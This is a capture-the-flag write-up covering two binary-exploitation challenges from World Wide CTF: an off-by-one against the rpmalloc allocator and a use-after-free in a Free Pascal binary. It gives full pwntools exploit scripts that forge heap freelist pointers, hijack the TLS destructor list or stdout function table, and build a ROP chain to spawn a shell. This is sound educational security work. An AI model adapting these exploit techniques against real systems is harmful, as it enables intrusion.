GithubLinkedIn

World Wide CTF

Team: HCS

Rank: 8 / 581

Challenge
Category
Points
Solves

CTF Registration

Binary Exploitation

464 pts

11

Free My Man Pascal

Binary Exploitation

476 pts

8

CTF Registration

Description

Author: nosiume

I'm finally making my own ctf competition! I wanted to make sure that my registration system is safe and since I know from past ctf experience that glibc malloc is very easy to exploit; I decided to use a different allocator :)

nc ctf-registration.chal.wwctf.com 1337

Analysis

we're given the following files

└──╼ [★]$ tree .
.
├── chall
├── ld-linux-x86-64.so.2
└── libc.so.6

as we run the program it greets us with three options

however decompiling the program reveals a secret option number 69

undefined8 main(void)
{
  uint c;
  char **ppcVar1;
  
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  rpmalloc_initialize(interface);
  banner();
  do {
    while( true ) {
      while (c = menu(), c == 69) {
        ppcVar1 = (char **)malloc(8);
        *ppcVar1 = credits;
        puts(*ppcVar1);
      }
      if ((int)c < 0x46) break;
invalid:
      printf("Invalid option \"%d\".\n",(ulong)c);
    }
    if (c == 3) {
      rpmalloc_finalize();
      return 0;
    }
    if (3 < (int)c) goto invalid;
    if (c == 1) {
      register_hacker();
    }
    else {
      if (c != 2) goto invalid;
      read_hacker();
    }
  } while( true );
}

entering 69 as an option prints out the following string

which gives us a hint relating to the different allocator that the author mentioned in Description.

LogoGitHub - mjansson/rpmalloc: Public domain cross platform lock free thread caching 16-byte aligned memory allocator implemented in CGitHub

as I'm unfamiliar with the implementation, I tried to google to learn more about the details and possibly the known common attack technique specific to rpmalloc but found nothing until I stumbled upon this llvm page

LogoLLVM: rpmalloc - General Purpose Memory Allocator

at first glance, this seems to be the exact copy of the repo, however I skimmed it anyways and this part is really interesting

Quick overview

The allocator is similar in spirit to tcmalloc from the Google Performance Toolkit. It uses separate heaps for each thread and partitions memory blocks according to a preconfigured set of size classes, up to 2MiB. Larger blocks are mapped and unmapped directly. Allocations for different size classes will be served from different set of memory pages, each "span" of pages is dedicated to one size class. Spans of pages can flow between threads when the thread cache overflows and are released to a global cache, or when the thread ends. Unlike tcmalloc, single blocks do not flow between threads, only entire spans of pages.

it mentions another allocator implementation develop by google that's similar to rpmalloc named tcmalloc with the difference of

Unlike tcmalloc, single blocks do not flow between threads, only entire spans of pages

due to failing to find any information regarding rpmalloc's implementation details, I switch my information gathering to finding the implementation details of tcmalloc instead which leads me to this page

TCMalloc : Thread-Caching Malloc

As I read more about it, I thought to myself that the implementation is very similar to the Slabs implementation in Linux Kernel

tcmalloc also uses terms such as run and regions which is similar to Jemalloc's implementation that I previously have encountered in 7th Cyber Mimic Defense. the tldr of those terms can be found in the writeup below

LogoAncient House - InCTF Internationals 2021 | bi0s

furthermore, I also found this writeup of a challenge that's also involving tcmalloc

Logo[Write-up] Google CTF 2017 - pwn474 primary

an interesting quote from it is that

tcmalloc doesn't do any security check, fake any pointers can do the magic.

which makes it easier to hijack freelist pointers and I also assume would be the same case for rpmalloc.

now let's get back to the challenge binary, we're only able to create and read an allocation, without any free

typedef struct {
    long age;
    char name[8];
    char desc[32];
} hacker;

void register_hacker(void)
{
  hacker *chunk;
  ulong i;
  
  for (i = 0; hackers[i] != (hacker *)0x0; i = i + 1) {
  }
  if (i < 100) {
    chunk = (hacker *)malloc(0x30);
    printf("How old is the hacker? ");
    __isoc99_scanf("%lu",chunk);
    getchar();
    printf("What\'s the hacker\'s name ? ");
    __isoc99_scanf("%16[^\n]s",chunk->name);
    getchar();
    printf("How would you describe this hacker ? ");
    __isoc99_scanf("%32[^\n]s",chunk->desc);
    getchar();
    hackers[i] = chunk;
    printf("Your hacker number is %zu !\n",i);
  }
  else {
    puts("Sorry ! No spots left :/");
  }
  return;
}

void read_hacker(void)
{
  ulong i;
  hacker *chunk;
  
  printf("What is the hacker\'s number ? ");
  __isoc99_scanf("%zu",&i);
  getchar();
  if (i < 100) {
    if (hackers[i] == (hacker *)0x0) {
      printf("Sorry, but no hacker is registered as number %zu...\n",i);
    }
    else {
      chunk = hackers[i];
      puts("========================= HACKER ========================");
      printf("Name: %s\n",chunk->name);
      printf("Age: %lu\n",chunk->age);
      printf("Description: %s\n",chunk->desc);
      puts("=========================================================");
    }
  }
  else {
    puts("Invalid index.");
  }
  return;
}

note:

  1. allocation fixed size of 0x30

  2. allocations are stored in an array of pointers

  3. limit to 100 allocations

to further understand the structure of the heap, I try to allocate two chunks and here's what we have

note:

  1. the order of the freelists are not randomised

  2. freelist pointer are stored in the beginning of each chunk

Vulnerability

the vulnerability here is quite the same as Vulnerability. its a off by one caused by scanf calls.

with the off by one, we can cause overlapping chunk to overwrite the freelists and control the next allocation, essentially pivoting in heap.

Exploitation

Heap leak

the *next ptr of freelist is corresponds to the age field of the hacker structure, which being read using 

__isoc99_scanf("%lu",chunk);

a trick to preserve the value and skip the read to a number is to give it an input of + and thus the value of the freelist pointer will be preserved and we can leak the heap from it

TLC & TLS leak

at this point, I have no idea if there's even a libc address within the heap region, and I thought we need to leak other addresses or structures.

I noticed that our first allocation always starts at an offset of 0x80 which is not page alligned, which makes me theorize that there might be some structure behind it that could have useful addresses.

and I was right

the structure had a pointer that within the memory it points, had another pointer to the Thread Local Storage (TLS). because of this, I just call that structure Thread Local Cache (TLC)

to leak it, we trigger the off by one vulnerability to cause partially overwrite the adjacent chunk's freelist pointer, best explained the following diagram and code

payload = p64(0x0) * 2 + p64(heap_leak-0xe0+0x28)
alloc(b'2', b'argo', payload.ljust(32, b'\x00')) # 3

alloc(b'3', b'argo', b'naut') # 4
alloc(b'4', b'argo', b'naut') # 5 
alloc(b'+', b'argo', b'naut') # 6 -> profit

subsequentially, we also use + on the 6th allocation to preserve the TLC address and it became our next freelist, pivoting the heap once more.

this pattern of pivoting in the heap would be repeated over the course of the exploit

Libc leak

now at those regions we still haven't seen any signs of addresses that points to libc, so I want to know where these addresses are adjacent to in terms of their virtual mappings.

it was revealed that those addresses are adjacent to the ld addresses and are continuous with relative to each other

this way, we can pivot to the ld's GOT which contains libc function pointers

you can also try pwndbg's built-in command: leakfind which what I used initially to figure out if there's a libc pointer within the heap.

https://browserpwndbg.readthedocs.io/en/docs/commands/leaks/leakfind/ pwndbg> leakfind --max_depth=2 --page_name=libc.so.6 --max_offset=2000 <writetable_section_of_ld-linux-x86-64.so.2>

Hijack DTOR list

to gain shell, I take advantage of the fact we have TLS leaked already rather than ROP which requires further steps.

at this point we can do either hijack exit handler or hijack dtor list. the reason I chose the latter is because its more convenient as it only requires write primitive to the tls region rather than the former which requires a read to the tls region and then write to libc region.

to execute it, essentially we need to do 2 write

  1. nullify the pointer guard

  2. overwrite the dtor list

such that the following will be satisfied

as of libc 2.35 the offset of the list is 0x60 from tls, however this might changes and you can debug it by stepping into the instructions in __call_tls_dtors as you exit the program.

here's the exploit being ran againts the remote server

here's the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'ctf-registration.chal.wwctf.com', 1337

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec chall
#     Arch:     amd64-64-little
#     RELRO:    Full RELRO
#     Stack:    Canary found
#     NX:       NX enabled
#     PIE:      PIE enabled

def alloc(age, name, desc):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b'?', age)
    io.sendlineafter(b'?', name)
    io.sendlineafter(b'?', desc)

def view(idx):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b'?', str(idx).encode())

def exploit():
    global io
    io = initialize()

    alloc(b'0', b'argo', b'naut')
    alloc(b'+', b'argo', b'naut') # 1

    view(1)
    io.recvuntil(b'Age: ')
    heap_leak = int(io.recvline().strip())

    # =========================================================
    # LEAK TLC & TLS
    # =========================================================
    # hijack freelist by null-overflow
    payload = p64(0x0) * 2 + p64(heap_leak-0xe0+0x28) # right behind there's somesort of a structure that holds an address to cache
    alloc(b'2', b'argo', payload.ljust(32, b'\x00'))

    alloc(b'3', b'argo', b'naut')
    alloc(b'4', b'argo', b'naut')
    alloc(b'+', b'argo', b'naut') # 5 -> profit

    view(5)
    io.recvuntil(b'Age: ')
    thread_local_cache = int(io.recvline().strip())

    alloc(b'+', b'\x00', b'\x00') # 6 -> *next is tls

    view(6)
    io.recvuntil(b'Age: ')
    tls = int(io.recvline().strip())

    # =========================================================
    # LEAK LIBC
    # =========================================================
    # https://browserpwndbg.readthedocs.io/en/docs/commands/leaks/leakfind/
    # pwndbg> leakfind --max_depth=2 --page_name=libc.so.6 --max_offset=2000 <writetable_section_of_ld-linux-x86-64.so.2>

    # preserve values while also controlling next freelist
    alloc(str(thread_local_cache+0x3018-0x10).encode(), p64(tls+0xa20), p64(tls)) # 7 -> pivots to GOT @ ld

    # preserve some values
    alloc(str(tls).encode(), p64(tls+0xa20), p64(tls)) # 8

    alloc(b'+', b'', b'') # 9 -> profit from 7
    view(9)
    io.recvuntil(b'Description: ')
    libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - 0x174a10

    # =========================================================
    # NULLIFY PTR GUARD
    # =========================================================
    alloc(b'10', b'argo', b'naut')
    alloc(b'11', b'argo', b'naut')
    alloc(b'12', b'argo', b'naut')
    alloc(b'13', b'argo', b'naut') 
    alloc(b'14', b'argo', b'naut') 
    alloc(str(tls+0x20), b'argo', b'naut'.ljust(32, b'\x00')) # 15

    alloc(b'16', b'argo', b'naut') # consume freelist
    alloc(b'17', b'argo', b'naut') # consume freelist

    # nullify ptr guard
    alloc(b'+', b'', p64(0x0)) # 18 -> profit from 15

    # =========================================================
    # HIJACK DTOR LIST
    # =========================================================
    alloc(b'19', b'argo', p64(libc.sym['system']<<17) + p64(next(libc.search(b'/bin/sh'))))
    alloc(b'20', b'argo', b'naut')
    alloc(b'21', b'argo', b'naut')
    alloc(b'22', b'argo', b'naut')
    alloc(b'23', b'argo', b'naut')
    alloc(b'24', b'', p64(tls-96).ljust(32, b'\x00')) # 25

    alloc(b'26', b'argo', b'naut') # consume freelist
    alloc(b'27', b'argo', b'naut') # consume freelist

    # points to 19's payload
    alloc(str(heap_leak+0x1f20+0x10).encode(), b'', b'') # 28 -> profit

    # exit
    io.sendlineafter(b'>>', b'3')

    sleep(0.2)
    io.sendline(b'cat flag*')

    log.info("heap: %#x", heap_leak)
    log.info("thread-local cache: %#x", thread_local_cache)
    log.info("tls: %#x", tls)
    log.info("libc base: %#x", libc.address)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Flag: wwf{h0w_d1d_y0u_m4n4g3_t0_h4ck_my_sup3r_rpm4ll0c_pr0gr4m_:(((((}

Free My Man Pascal

Description

Author: numb3rs

plz free pascal

nc freemyman.chal.wwctf.com 1337

Analysis

we're given a single binary named freemyman , here's some information about it

└──╼ [★]$ file freemyman 
freemyman: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.4.0, with debug_info, not stripped

└──╼ [★]$ pwn checksec freemyman 
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

as the challenge states, it is a pascal binary seemingly compiled using free pascal. running it gave us these options

upon adding a new request we're able give 2 input fields to it, title and content .

with no size prompt, it can be deducted that the size is hard coded, as can be seen from the decompilation, it is hard coded to be 0x90

noticed there's also two add options, add request and add data. as per my understanding there's no difference in these other than they're collected in a different pool and have different counter.

also unlike request, references to data cannot be edited, showed nor deleted. other than that, they're practically the same (I'm assuming a lot here)

I did read a bit more of the decompilation but not thoroughly as it's not the prettiest or at least I'm not really familiar to reverse it

I play around with it and to familiarize with the chunk structure a bit more. I tried to allocate two chunks and here's what we got

then I free those two chunks in the order of index 1 then 2

as can be seen, the freed chunks form a doubly linked list with pointer seemingly points to the address at an offset of -0x8.

also that notice how our input starting address is not 8 bytes alligned? for example the titlefield starts at +0x1 while contentis at +0x52.

I did a bit more trials and it seems that the byte right before the input, is the length to it which records how long the input to that specific field is. this would prove to be very annoying at later stage.

Vulnerability

as anyone probably could've guessed, this is an UAF challenge as the name implies. I did tried to edit the chunks after it had been deleted and we're able to do so.

we're able to partially overwrite the freelist.

Exploitation

heap pivot to arbitrary write

to hijack the freelist and pivot the heap to gain arbitrary write, we'll to work around the partial overwrite.

first step is to create an overlapping fake chunk utilizing UAF, with the *next pointer of the fake chunk points the to the address we wish, as follows:

as we reallocate the 2nd chunk, it will then dereference the next which points to our fake chunk which contains the address we wish to pivot to. we just have to allocate again to recycle the overlapped chunk and the next allocation will then be our targeted address.

Failed attempt

upon examining the implementation of each options, I stumbled upon this interesting piece of code

my idea here is to hijack the function pointer call, I look for functions similar to system or execve and find this as gadget

combined with write /bin/sh to U_$SYSTEM_$$_OUTPUT hopefully this will gets us a shell.

first, I tried to write to the function pointer to make sure we can control execution, and it works

however, I have multiple issues when writing to U_$SYSTEM_$$_OUTPUT, at this point also realized that FPC_THREADVAR_RELOCATE is not unique to the challenge itself, but there are a lot of builtin functions that references this variable as well which makes the scope of constraint quite big.

at that time of the CTF I just got back from a trip and was very exhausted, so I stopped here until the CTF ends

Stdout flush

after the CTF ends, kileak posted their writeup and I peek a little bit to give a bit of a hint for myself on how to move forward

World Wide CTF 2024 - Free My Man Pascal | kileak

I stopped reading where I got stuck and the hint was that they were overwriting the U_$SYSTEM_$$_STDOUT structure and hijacking its function table as it flushes when the program exit.

and I managed to recreate it

I noticed that to control the execution flow we need to setup the correct gadget address at [rbx + 0x38] which is well under our control as it within U_$SYSTEM_$$_STDOUT . we also control R10 which is perfect for this stack pivot gadget: 

0x000000000045c0d8 : xchg r10, rsp ; ret

we just need setup our ROP payload to be in the heap and then fill R10 with the payload address and our ROP will be executed :)

here's the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './freemyman'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'freemyman.chal.wwctf.com', 1337

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

# req allocate (1)
# break *0x401921

# data allocate (5)
break *0x401d5b

# req delete (4)
# break *0x401bf9

'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
# └──╼ [★]$ pwn checksec freemyman 
#     Arch:     amd64-64-little
#     RELRO:    No RELRO
#     Stack:    No canary found
#     NX:       NX enabled
#     PIE:      No PIE (0x400000)

# REQ_POOL @ 0x0482a38
# U_$SYSTEM_$$_OUTPUT @ 0x482f00
# FPC_THREADVAR_RELOCATE @ 0x484de0
# BASEUNIX_$$_FPEXECVE$PCHAR$PPCHAR$PPCHAR$$LONGINT @ 0x04574d0 
# U_$SYSTEM_$$_FREELISTS @ 0x484bd8 [size 0x90 is at freelist+48]
# U_$SYSTEM_$$_STDOUT @ 0x483600

def add_req(title, content):
    io.sendlineafter(b'>>', b'1')
    io.sendlineafter(b':', title)
    io.sendlineafter(b':', content)

def edit_req(idx, title, content):
    io.sendlineafter(b'>>', b'2')
    io.sendlineafter(b':', str(idx).encode())
    io.sendlineafter(b':', title)
    io.sendlineafter(b':', content)

def show_req(idx):
    io.sendlineafter(b'>>', b'3')
    io.sendlineafter(b':', str(idx).encode())

def delete_req(idx):
    io.sendlineafter(b'>>', b'4')
    io.sendlineafter(b':', str(idx).encode())

def add_data(title, content):
    io.sendlineafter(b'>>', b'5')
    io.sendlineafter(b':', title)
    io.sendlineafter(b':', content)

heap = 0x0
def exploit():
    global io
    io = initialize()

    xchg_r10_rsp = 0x000000000045c0d8 # xchg r10, rsp ; ret
    pop_rsp_rbx = 0x0000000000402ccc # pop rsp ; pop rbx ; ret
    pop_rdi_r14_r13_r12_rbx = 0x0000000000403e95 # pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbx ; ret
    pop_rsi_r13_r12_rbx = 0x0000000000402dac # pop rsi ; pop r13 ; pop r12 ; pop rbx ; ret
    mov_rsi_rdx_syscall = 0x0000000000401e6f # mov rsi, rdx ; syscall 
    pop_rax = 0x0000000000413c23 # pop rax ; ret

    add_req(b'', b'') # 1
    add_req(b'', b'') # 2

    delete_req(1)
    delete_req(2)

    show_req(1)
    io.recvuntil(b'Title: ')
    heap = (u64(io.recv(6) + b'\x00\x00') << 8) - 0x100

    edit_req(2, b'\x00'*(7+(0x28))+p64(0x483600+0x10), b'')
    edit_req(2, p64((heap>>8)+1).ljust(0x8, b'\x00'), b'')

    add_data(b'', b'')
    add_data(b'', b'')

    add_data(cyclic(39) + p64(xchg_r10_rsp), b'')
    add_data(
        b'\x00'*7 + # padding
        flat([ # heap-0x7fb8 start of chain
            pop_rdi_r14_r13_r12_rbx,
            heap-0x7f60+0x8, # points to /bin/sh
            0x0,
            0x0,
            0x0,
            0x0,
            pop_rax,
        ]),
        ((b'\x00' * 6) # padding
        + p64(pop_rax) 
        + p64(0x3b) 
        + p64(mov_rsi_rdx_syscall) 
        + p64(heap-0x7fb8) 
        + b'/bin/sh\x00')
    )

    io.sendlineafter(b'>>', b'6')    
    
    io.sendline(b'cat flag*')

    log.info("heap base: %#x", heap)
    log.info("rop payload: %#x", heap+0x188)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Flag: wwf{P4sc4l_U4f_FTW_174a3f4fa44c7bb22b}

PreviousBackdoorCTFNext7th Cyber Mimic Defense

Last updated